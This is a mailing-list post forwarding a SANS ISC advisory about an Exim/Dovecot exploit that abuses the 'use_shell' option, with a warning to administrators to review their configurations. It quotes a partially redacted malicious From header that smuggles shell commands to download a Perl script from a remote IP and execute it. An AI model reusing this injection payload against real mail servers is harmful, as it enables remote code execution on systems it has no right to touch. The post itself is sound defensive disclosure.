[Dovecot] from ISC: Exim/Dovecot exploit making the rounds

[Luigi Rosa]

One of our readers wrote in to let us know that he had received an attempted 
Exim/Dovecot exploit attempt against his email server.  The exploit partially 
looked like this:

From: 
x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`@blaat.com

(Obviously edited for your safety, and I didn't post the whole thing.)

This is an exploit against Dovecot that is using the feature "use_shell" against 
itself.  This feature, unfortunately, is found in the example wiki on Dovecot's 
website, and also in their example configuration.  We'd caution anyone that is 
using Dovecot to take a look at their configuration and make use they aren't 
using the "use_shell" parameter.  Or if you are, make darn sure you know what 
you are doing, and how to defend yourself.


https://isc.sans.edu/diary/EximDovecot+exploit+making+the+rounds/15962




Ciao,
luigi

-- 
/
+--[Luigi Rosa]--
\

The generation of random numbers is too important to be left to chance.